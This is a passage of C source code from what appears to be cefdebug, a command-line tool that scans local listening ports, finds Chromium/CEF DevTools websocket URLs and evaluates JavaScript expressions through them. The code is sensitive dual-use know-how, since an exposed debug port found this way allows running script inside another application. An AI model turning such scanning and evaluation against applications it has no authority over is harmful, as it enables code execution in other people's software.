249 | lwsl_info("dbg_eval_expression(%p, \"%s\");\n", dbg, expression);
250 |
251 | if (handle == NULL)
252 | goto error;
253 |
254 | if (expression == NULL)
255 | goto error;
256 |
257 | lwsl_info("dbg->size %d, dbg->pending %d, dbg->msgid %d\n",
258 | dbg->size,
259 | dbg->pending,
260 | dbg->msgid);
261 |
262 | escaped = url_escape_string(expression);
263 |
264 | // If there is a message still waiting to be sent, or
265 | // a response hasn't been received, just keep calling
266 | // lws_service().
267 | while (dbg->size || dbg->pending) {
268 | lws_callback_on_writable(dbg->ctx);
269 | lws_service(lws_get_context(dbg->ctx), 0);
270 | }
271 |
272 | lwsl_info("ready to send message\n");
273 |
274 | // OK, queue is clear.
275 | dbg->size = lws_snprintf(dbg->message,
276 | sizeof (dbg->message),
277 | kRuntimeEvaluate,
278 | dbg->msgid,
279 | escaped);
280 | dbg->pending = true;
281 |
282 | lwsl_info("final buffer \"%s\"\n", dbg->message);
283 |
284 | // If there is a message still waiting to be sent, or
285 | // a response hasn't been received, just keep calling
286 | // lws_service().
287 | while (dbg->size || dbg->pending) {
288 | lws_callback_on_writable(dbg->ctx);
289 | lws_service(lws_get_context(dbg->ctx), 0);
290 | }
291 |
292 | if (dbg->description) {
293 | result = strdup(dbg->description);
294 | } else if (dbg->result) {
295 | result = strdup(dbg->result);
296 | } else {
297 | result = NULL;
298 | }
299 |
300 | free(dbg->result);
301 | free(dbg->description);
302 | dbg->result = NULL;
303 | dbg->description = NULL;
304 |
305 | error:
306 | free(escaped);
307 |
308 | return result;
309 | }
310 |
--------------------------------------------------------------------------------
/ports.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #if defined(_WIN32)
7 | # include
8 | # include
9 | # include
10 | #elif defined(__linux__)
11 | # include
12 | # include
13 | # include
14 | # include
15 | #endif
16 |
17 | #include "libwebsockets.h"
18 | #include "cefscan.h"
19 |
20 | #if defined(_WIN32)
21 | int32_t get_listening_ports(const char *localaddr, uint16_t **portlist)
22 | {
23 | PMIB_TCPTABLE tcptable;
24 | uint32_t tablesize;
25 | int32_t result;
26 |
27 | *portlist = NULL;
28 | tablesize = 0;
29 | result = -1;
30 |
31 | if (GetTcpTable(NULL, &tablesize, FALSE) != ERROR_INSUFFICIENT_BUFFER) {
32 | goto error;
33 | }
34 |
35 | tcptable = _alloca(tablesize);
36 |
37 | if (GetTcpTable(tcptable, &tablesize, FALSE) != ERROR_SUCCESS) {
38 | goto error;
39 | }
40 |
41 | *portlist = calloc(tcptable->dwNumEntries + 1, sizeof **portlist);
42 |
43 | for (int i = result = 0; i < tcptable->dwNumEntries; i++) {
44 | if (tcptable->table[i].dwLocalAddr != inet_addr(localaddr))
45 | continue;
46 |
47 | if (tcptable->table[i].dwState != MIB_TCP_STATE_LISTEN)
48 | continue;
49 |
50 | (*portlist)[result] = tcptable->table[i].dwLocalPort;
51 | (*portlist)[result] = ntohs((*portlist)[result]);
52 | result++;
53 | }
54 |
55 | error:
56 | return result;
57 | }
58 | #endif
59 |
60 | #if defined(__linux__)
61 | int32_t get_listening_ports(const char *localaddr, uint16_t **portlist)
62 | {
63 | FILE *tcptable;
64 | char *line;
65 | int32_t result;
66 | size_t len;
67 |
68 | line = NULL;
69 | len = 0;
70 | result = 0;
71 | *portlist = calloc(sizeof(uint16_t), 1);
72 | tcptable = fopen("/proc/net/tcp", "r");
73 |
74 | // Skip the column headers.
75 | if (getline(&line, &len, tcptable) < 0) {
76 | goto error;
77 | }
78 |
79 | while (getline(&line, &len, tcptable) != -1) {
80 | uint32_t addr;
81 | uint16_t port;
82 | uint32_t state;
83 | int match;
84 |
85 | match = sscanf(line, "%*hhx: %x:%hx %*x:%*hx %02x",
86 | &addr,
87 | &port,
88 | &state);
89 |
90 | if (match != 3)
91 | continue;
92 |
93 | if (state != TCP_LISTEN)
94 | continue;
95 |
96 | if (addr != inet_addr(localaddr))
97 | continue;
98 |
99 | *portlist = realloc(*portlist, (result + 2) * sizeof(uint16_t));
100 | (*portlist)[result+0] = port;
101 | (*portlist)[result+1] = 0;
102 | result++;
103 | }
104 |
105 | error:
106 |
107 | if (tcptable)
108 | fclose(tcptable);
109 | if (result <= 0)
110 | free(*portlist);
111 |
112 | free(line);
113 |
114 | return result;
115 | }
116 | #endif
117 |
--------------------------------------------------------------------------------
/version.rc:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | VS_VERSION_INFO VERSIONINFO
4 | FILEVERSION 1,0,0,0
5 | PRODUCTVERSION 1,0,0,0
6 | FILEFLAGSMASK VS_FFI_FILEFLAGSMASK
7 | FILEFLAGS 0
8 | FILEOS VOS__WINDOWS32
9 | FILETYPE VFT_APP
10 | {
11 | BLOCK "StringFileInfo"
12 | {
13 | BLOCK "000004b0"
14 | {
15 | VALUE "CompanyName", "Tavis Ormandy"
16 | VALUE "FileDescription", "Commandline CEF Debugger"
17 | VALUE "ProductName", "cefdebug"
18 | VALUE "Comment", "https://github.com/taviso/cefdebug"
19 | }
20 | }
21 | BLOCK "VarFileInfo"
22 | {
23 | VALUE "Translation", 0, 1200
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/wsurls.c:
--------------------------------------------------------------------------------
1 | #include
2 | #if defined(_WIN32)
3 | #include
4 | #include
5 | #endif
6 |
7 | #include "libwebsockets.h"
8 | #include "cefscan.h"
9 |
10 | // The JSON path for the websocket URL
11 | // https://chromedevtools.github.io/devtools-protocol/
12 | static const char kDebuggerPath[] = "pages[].webSocketDebuggerUrl";
13 |
14 | // libwebsockets callback for HTTP events.
15 | static int callback_http(struct lws *wsi,
16 | enum lws_callback_reasons reason,
17 | void *user,
18 | void *in,
19 | size_t len);
20 |
21 | static const struct lws_protocols protocols[] = {
22 | { "http", callback_http, 0, 0 },
23 | { 0 }
24 | };
25 |
26 | static uint32_t ActiveConnect;
27 |
28 | static signed char callback_json(struct lejp_ctx *ctx, char reason)
29 | {
30 | char ***wsurls = ctx->user;
31 | uint32_t urlcount;
32 |
33 | // The only event I'm interested in is when a string value has been seen.
34 | if (reason != LEJPCB_VAL_STR_END)
35 | return 0;
36 |
37 | lwsl_info("inspecting key %s\n", ctx->path);
38 |
39 | if (strcmp(ctx->path, kDebuggerPath) != 0)
40 | return 0;
41 |
42 | lwsl_info("key matches, value is %s\n", ctx->buf);
43 |
44 | for (urlcount = 0; (*wsurls)[urlcount]; urlcount++)
45 | ;
46 |
47 | // Append to the list of known URLs.
48 | *wsurls = realloc(*wsurls, (urlcount + 2) * sizeof(char *));
49 | (*wsurls)[urlcount++] = strdup(ctx->buf);
50 | (*wsurls)[urlcount++] = NULL;
51 |
52 | return 0;
53 | }
54 |
55 | static int callback_http(struct lws *wsi,
56 | enum lws_callback_reasons reason,
57 | void *user,
58 | void *in,
59 | size_t len)
60 | {
61 | lwsl_debug("callback_http() ctx %p, reason %u\n", wsi, reason);
62 |
63 | switch (reason) {
64 | case LWS_CALLBACK_WSI_DESTROY:
65 | // Update number of active connections.
66 | ActiveConnect--;
67 | free(user);
68 | break;
69 | case LWS_CALLBACK_WSI_CREATE:
70 | // Update number of active connections.
71 | ActiveConnect++;
72 | break;
73 | case LWS_CALLBACK_CLIENT_CONNECTION_ERROR:
74 | lwsl_info("ctx %p connection error: %s\n", wsi, in);
75 | break;
76 | case LWS_CALLBACK_ESTABLISHED_CLIENT_HTTP:
77 | lwsl_info("ctx %p http session establised, status %d\n",
78 | wsi,
79 | lws_http_client_http_response(wsi));
80 |
81 | if (lws_http_client_http_response(wsi) != HTTP_STATUS_OK) {
82 | return -1;
83 | }
84 |
85 | // Add JSON Preamble, or the libwebsocket parser will reject it.
86 | lejp_parse(user, "{ \"pages\": ", 11);
87 | break;
88 |
89 | case LWS_CALLBACK_RECEIVE_CLIENT_HTTP_READ:
90 | // Stream data to JSON parser.
91 | if (lejp_parse(user, in, len) < 0) {
92 | return -1;
93 | }
94 |
95 | break;
96 | case LWS_CALLBACK_RECEIVE_CLIENT_HTTP: {
97 | // This is a quirk of libwebsocket, you must guarantee buffers you
98 | // provide have LWS_PRE bytes behind them (?!?).
99 | // https://libwebsockets.org/lws-api-doc-master/html/group__sending-data.html#gafd5fdd285a0e25ba7e3e1051deec1001
100 | char buffer[LWS_PRE + 4096];
101 | char *px = &buffer[LWS_PRE];
102 | int lenx = sizeof(buffer) - LWS_PRE;
103 |
104 | if (lws_http_client_read(wsi, &px, &lenx) < 0) {
105 | return -1;
106 | }
107 |
108 | return 0;
109 | }
110 |
111 | case LWS_CALLBACK_COMPLETED_CLIENT_HTTP:
112 | // Cleanup JSON parser, I don't care if it fails.
113 | lejp_parse(user, "}", 1);
114 | lejp_destruct(user);
115 | break;
116 | }
117 |
118 | return lws_callback_http_dummy(wsi, reason, user, in, len);
119 | }
120 |
121 | int32_t get_websocket_urls(char *hostname, uint16_t *portlist, char **wsurls[])
122 | {
123 | int32_t result;
124 | struct lws_context *context;
125 | struct lws_context_creation_info info = {
126 | .port = CONTEXT_PORT_NO_LISTEN,
127 | .protocols = protocols,
128 | };
129 |
130 | lwsl_info("get_websocket_urls(\"%s\", %p, %p);\n", hostname, portlist, wsurls);
131 |
132 | result = -1;
133 | context = lws_create_context(&info);
134 | *wsurls = calloc(1, sizeof (char *));
135 |
136 | for (; *portlist; portlist++) {
137 | struct lws *ctx;
138 | struct lejp_ctx *jsctx;
139 | struct lws_client_connect_info conn = {
140 | .context = context,
141 | .port = *portlist,
142 | .address = hostname,
143 | .alpn = "http/1.1",
144 | .path = "/json/list",
145 | .method = "GET",
146 | .protocol = "http",
147 | };
148 |
149 | jsctx = malloc(sizeof *jsctx);
150 | conn.userdata = jsctx;
151 | conn.host = calloc(strlen(hostname) + 1 + 5 + 1, 1);
152 |
153 | #pragma warning(suppress: 4090)
154 | sprintf(conn.host, "%s:%u", hostname, conn.port);
155 |
156 | lejp_construct(jsctx, callback_json, wsurls, NULL, 0);
157 |
158 | ctx = lws_client_connect_via_info(&conn);
159 |
160 | lwsl_info("connect %s, ctx %p\n", conn.host, ctx);
161 |
162 | #pragma warning(suppress: 4090)
163 | free(conn.host);
164 | }
165 |
166 | while (lws_service(context, 0) >= 0 && ActiveConnect)
167 | lwsl_info("waiting for %u jobs to complete\n", ActiveConnect);
168 |
169 | for (result = 0; (*wsurls)[result]; result++) {
170 | lwsl_info("discovered ws url %s\n", (*wsurls)[result]);
171 | }
172 |
173 | lwsl_info("total ws urls discovered %d\n", result);
174 |
175 | error:
176 | lws_context_destroy(context);
177 | return result;
178 | }
179 |
--------------------------------------------------------------------------------